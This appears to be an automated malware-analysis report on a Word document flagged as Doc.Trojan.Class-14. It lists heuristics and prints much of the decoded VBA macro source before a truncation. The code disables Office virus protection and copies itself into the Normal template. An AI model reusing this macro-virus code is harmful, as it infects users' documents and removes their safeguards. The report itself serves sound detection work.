MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon document interaction. Heuristics indicate the presence of legacy WordBasic and VBA macros, and ClamAV signatures confirm it as malware. The Autoopen macro attempts to disable macro security and manipulate template settings, suggesting an intent to download and execute a secondary payload.
Heuristics 5
-
ClamAV: Doc.Trojan.Class-14 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Class-14
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7688 bytes |
SHA-256: 0096771a686089221a263b612cc60d0599af5bd8fd7f6403a46552f49a487346 |
|||
|
Detection
ClamAV:
Doc.Trojan.Class-14
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Autoopen()
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
Options.VirusProtection = Chr(48): Options.SaveNormalPrompt = Chr(48): Options.ConfirmConversions = Chr(48): jx = 0: xj = 1
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
rytx = ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.countoflines
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
sytx = NormalTemplate.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.countoflines
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
If sytx = Abs(jx) Then
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
Set rylx = NormalTemplate.VBProject.VBComponents
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
Set xhst = ActiveDocument.VBProject.VBComponents
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
xhst.Item(Cos(Atn(CInt(1)))).Name = rylx.Item(Cos(Atn(CInt(1)))).Name
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
xhst.Item(Cos(Atn(CInt(1)))).Export Windows.Application.Path & Chr(46) + Chr(100) + Chr(108) + Chr(108)
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
End If
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
If rytx = Abs(jx) Then Set rylx = ActiveDocument.VBProject.VBComponents
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
rylx.Item(Cos(Atn(CInt(1)))).codemodule.AddFromFile Windows.Application.Path & Chr(46) + Chr(100) + Chr(108) + Chr(108)
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
With rylx.Item(Cos(Atn(CInt(1)))).codemodule
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
For j = Chr(49) To Chr(52)
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
.deletelines Chr(49)
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
Next j
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
End With
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\startupАкт на консультаційні послуги.doc8.0a
With rylx.Item(Cos(Atn(CInt(1)))).codemodule
'ИстинаУченыйЛожь8.0.4412c:\program files\microsoft office\office\
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.